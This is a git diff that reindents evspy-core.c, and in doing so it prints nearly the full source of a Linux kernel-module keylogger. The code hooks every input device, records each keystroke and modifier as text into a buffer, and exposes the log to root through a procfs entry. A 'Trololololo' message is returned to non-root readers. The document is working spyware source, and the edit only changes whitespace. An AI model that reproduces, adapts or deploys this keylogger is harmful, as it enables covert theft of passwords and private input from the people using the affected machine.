1 files changed, 153 insertions, 153 deletions

diff --git a/evspy-core.c b/evspy-core.c
index 64f5960..34abdb0 100644
--- a/evspy-core.c
+++ b/evspy-core.c
@@ -36,30 +36,30 @@ static unsigned short int altgr_on = 0;
  * Executed when the procfs file is read (EVS_PROCNAME)
  */
 static int evspy_read_proc(char *page, char **start, off_t offset, int count,
-		int *eof, void *data)
+                           int *eof, void *data)
 {
-	int n;
+    int n;
 
-	if (current_uid() || current_euid()) {		// root only plz
+    if (current_uid() || current_euid()) {              // root only plz
 #if EVS_TROLL == 1
-		n = 36;
-		if (offset)
-			*eof = 1;
-		else
-			strncpy(page, "Trololololo lololo lololo\nhohohoho\n", n);
+        n = 36;
+        if (offset)
+            *eof = 1;
+        else
+            strncpy(page, "Trololololo lololo lololo\nhohohoho\n", n);
 #else
-		return -EPERM;
+        return -EPERM;
 #endif
-	} else {		// copy fifo contents to the supplied buffer
-		if (offset + count > PAGE_SIZE)
-			count = PAGE_SIZE - offset;
+    } else {            // copy fifo contents to the supplied buffer
+        if (offset + count > PAGE_SIZE)
+            count = PAGE_SIZE - offset;
 
-		n = offset + kfifo_out(&cbuffer, page+offset, count);
+        n = offset + kfifo_out(&cbuffer, page+offset, count);
 
-		if (kfifo_is_empty(&cbuffer))
-			*eof = 1;
-	}
-	return n;
+        if (kfifo_is_empty(&cbuffer))
+            *eof = 1;
+    }
+    return n;
 }
 
 /*
@@ -67,189 +67,189 @@ static int evspy_read_proc(char *page, char **start, off_t offset, int count,
  */
 static void special_char(unsigned int code, unsigned int value)
 {
-	char *sp_tag;
-	int known = 1;
-
-	// We need to know when some special keys are freed; add them here
-	switch(code) {
-	case KEY_LEFTSHIFT:
-	case KEY_RIGHTSHIFT:
-	case KEY_LEFTALT:
-	case KEY_RIGHTALT:
-	case KEY_LEFTCTRL:
-	case KEY_RIGHTCTRL:
-	case KEY_LEFTMETA:
-	case KEY_RIGHTMETA:
-		break;
-	default:
-		if (value == EVS_VAL_FREE)
-			return;
-	}
-
-	switch(code) {
-	case KEY_RIGHTSHIFT:
-	case KEY_LEFTSHIFT:
-		shift_on = value;
-		return;
-	case KEY_CAPSLOCK:
-		capslock_on = !capslock_on;
-		return;
-	case KEY_LEFTALT:
-		sp_tag = "[+ALT]";
-		break;
-	case KEY_RIGHTALT:
+    char *sp_tag;
+    int known = 1;
+
+    // We need to know when some special keys are freed; add them here
+    switch(code) {
+    case KEY_LEFTSHIFT:
+    case KEY_RIGHTSHIFT:
+    case KEY_LEFTALT:
+    case KEY_RIGHTALT:
+    case KEY_LEFTCTRL:
+    case KEY_RIGHTCTRL:
+    case KEY_LEFTMETA:
+    case KEY_RIGHTMETA:
+        break;
+    default:
+        if (value == EVS_VAL_FREE)
+            return;
+    }
+
+    switch(code) {
+    case KEY_RIGHTSHIFT:
+    case KEY_LEFTSHIFT:
+        shift_on = value;
+        return;
+    case KEY_CAPSLOCK:
+        capslock_on = !capslock_on;
+        return;
+    case KEY_LEFTALT:
+        sp_tag = "[+ALT]";
+        break;
+    case KEY_RIGHTALT:
 #ifdef EVS_ALTGR_ENABLED
-		altgr_on = !altgr_on;
-		return;
+        altgr_on = !altgr_on;
+        return;
 #else
-		sp_tag = "[+ALTGR]";
-		break;
+        sp_tag = "[+ALTGR]";
+        break;
 #endif
-	case KEY_LEFTCTRL:
-	case KEY_RIGHTCTRL:
-		sp_tag = "[+CTRL]";
-		break;
-	case KEY_LEFTMETA:
-	case KEY_RIGHTMETA:
-		sp_tag = "[+META]";
-		break;
-	case KEY_TAB:
-		sp_tag = "[TAB]";
-		break;
-	case KEY_BACKSPACE:
-		sp_tag = "[<<]";
-		break;
-	case KEY_ESC:
-		sp_tag = "[ESC]";
-		break;
-	case KEY_UP:
-		sp_tag = "[UP]";
-		break;
-	case KEY_DOWN:
-		sp_tag = "[DOWN]";
-		break;
-	case KEY_LEFT:
-		sp_tag = "[LEFT]";
-		break;
-	case KEY_RIGHT:
-		sp_tag = "[RIGHT]";
-		break;
-	default:
-		known = 0;
-	}
-
-	if (!known && evs_isfX(code))	// !known is redundant, but it saves cycles
-		sp_tag = "[+FX]";
-	else if (!known)
-		return;
-
-	if (value == EVS_VAL_PRESS && (sp_tag[1] == '+' || sp_tag[1] == '-'))
-		sp_tag[1] = '+';
-	else if (value == EVS_VAL_FREE)
-		sp_tag[1] = '-';
-
-	while (*sp_tag)
-		evs_insert(&cbuffer, sp_tag++);
+    case KEY_LEFTCTRL:
+    case KEY_RIGHTCTRL:
+        sp_tag = "[+CTRL]";
+        break;
+    case KEY_LEFTMETA:
+    case KEY_RIGHTMETA:
+        sp_tag = "[+META]";
+        break;
+    case KEY_TAB:
+        sp_tag = "[TAB]";
+        break;
+    case KEY_BACKSPACE:
+        sp_tag = "[<<]";
+        break;
+    case KEY_ESC:
+        sp_tag = "[ESC]";
+        break;
+    case KEY_UP:
+        sp_tag = "[UP]";
+        break;
+    case KEY_DOWN:
+        sp_tag = "[DOWN]";
+        break;
+    case KEY_LEFT:
+        sp_tag = "[LEFT]";
+        break;
+    case KEY_RIGHT:
+        sp_tag = "[RIGHT]";
+        break;
+    default:
+        known = 0;
+    }
+
+    if (!known && evs_isfX(code))       // !known is redundant, but it saves cycles
+        sp_tag = "[+FX]";
+    else if (!known)
+        return;
+
+    if (value == EVS_VAL_PRESS && (sp_tag[1] == '+' || sp_tag[1] == '-'))
+        sp_tag[1] = '+';
+    else if (value == EVS_VAL_FREE)
+        sp_tag[1] = '-';
+
+    while (*sp_tag)
+        evs_insert(&cbuffer, sp_tag++);
 }
 
 static void evspy_event(struct input_handle *handle, unsigned int type,
-		unsigned int code, int value)
+                        unsigned int code, int value)
 {
-	// Ignore non-key and hold events
-	if (type != EV_KEY || unlikely(value == EVS_VAL_HOLD)) {
-		return;
+    // Ignore non-key and hold events
+    if (type != EV_KEY || unlikely(value == EVS_VAL_HOLD)) {
+        return;
 
-	// Special/unknown keys (alt, ctrl, esc, shift, etc)
-	} else if (code >= sizeof(map) || (map[code] == '.' &&
-				likely(code != KEY_DOT))) {
-		special_char(code, value);
+        // Special/unknown keys (alt, ctrl, esc, shift, etc)
+    } else if (code >= sizeof(map) || (map[code] == '.' &&
+                                       likely(code != KEY_DOT))) {
+        special_char(code, value);
 
-	// "Immediate" keys (alphanumeric + some symbols)
-	} else if (value == EVS_VAL_PRESS) {
+        // "Immediate" keys (alphanumeric + some symbols)
+    } else if (value == EVS_VAL_PRESS) {
 #ifdef EVS_ALTGR_ENABLED
-		if (altgr_on)
-			evs_insert(&cbuffer, evs_altgr(code));
-		else
+        if (altgr_on)
+            evs_insert(&cbuffer, evs_altgr(code));
+        else
 #endif
-		if (shift_on || capslock_on)
-			evs_insert(&cbuffer, evs_shift(code));
-		else
-			evs_insert(&cbuffer, &map[code]);
-	}
+            if (shift_on || capslock_on)
+                evs_insert(&cbuffer, evs_shift(code));
+            else
+                evs_insert(&cbuffer, &map[code]);
+    }
 }
 
 static int evspy_connect(struct input_handler *handler, struct input_dev *dev,
-			 const struct input_device_id *id)
+                         const struct input_device_id *id)
 {
-	struct input_handle *handle;
-	int error;
+    struct input_handle *handle;
+    int error;
 
-	handle = kzalloc(sizeof(struct input_handle), GFP_KERNEL);
-	if (!handle)
-		return -ENOMEM;
+    handle = kzalloc(sizeof(struct input_handle), GFP_KERNEL);
+    if (!handle)
+        return -ENOMEM;
 
-	handle->dev = dev;
-	handle->handler = handler;
-	handle->name = EVS_NAME;
+    handle->dev = dev;
+    handle->handler = handler;
+    handle->name = EVS_NAME;
 
-	error = input_register_handle(handle);
-	if (error)
-		goto err_free_handle;
+    error = input_register_handle(handle);
+    if (error)
+        goto err_free_handle;
 
-	error = input_open_device(handle);
-	if (error)
-		goto err_unregister_handle;
+    error = input_open_device(handle);
+    if (error)
+        goto err_unregister_handle;
 
-	return 0;
+    return 0;
 
  err_unregister_handle:
-	input_unregister_handle(handle);
+    input_unregister_handle(handle);
  err_free_handle:
-	kfree(handle);
-	return error;
+    kfree(handle);
+    return error;
 }
 
 static void evspy_disconnect(struct input_handle *handle)
 {
-	input_close_device(handle);
-	input_unregister_handle(handle);
-	kfree(handle);
+    input_close_device(handle);
+    input_unregister_handle(handle);
+    kfree(handle);
 }
 
 static const struct input_device_id evspy_ids[] = {
-	{ .driver_info = 1 },	/* Matches all devices */
-	{ },			/* Terminating zero entry */
+    { .driver_info = 1 },       /* Matches all devices */
+    { },                        /* Terminating zero entry */
 };
 
 MODULE_DEVICE_TABLE(input, evspy_ids);
 
 static struct input_handler evspy_handler = {
-	.event = evspy_event,
-	.connect = evspy_connect,
-	.disconnect = evspy_disconnect,
-	.name = EVS_NAME,
-	.id_table =	evspy_ids,
+    .event = evspy_event,
+    .connect = evspy_connect,
+    .disconnect = evspy_disconnect,
+    .name = EVS_NAME,
+    .id_table = evspy_ids,
 };
 
 static int __init evspy_init(void)
 {
-	create_proc_read_entry(EVS_PROCNAME, 0, NULL, evspy_read_proc, NULL);
-	init_shiftmap();
+    create_proc_read_entry(EVS_PROCNAME, 0, NULL, evspy_read_proc, NULL);
+    init_shiftmap();
 #ifdef EVS_ALTGR_ENABLED
-	init_altgrmap();
+    init_altgrmap();
 #endif
-	INIT_KFIFO(cbuffer);
-	return input_register_handler(&evspy_handler);
+    INIT_KFIFO(cbuffer);
+    return input_register_handler(&evspy_handler);
 }
 
 static void __exit evspy_exit(void)
 {
-	input_unregister_handler(&evspy_handler);
+    input_unregister_handler(&evspy_handler);
 #ifdef EVS_ALTGR_ENABLED
-	exit_altgrmap();
+    exit_altgrmap();
 #endif
-	exit_shiftmap();
-	remove_proc_entry(EVS_PROCNAME, NULL);
+    exit_shiftmap();
+    remove_proc_entry(EVS_PROCNAME, NULL);
 }
 
 module_init(evspy_init);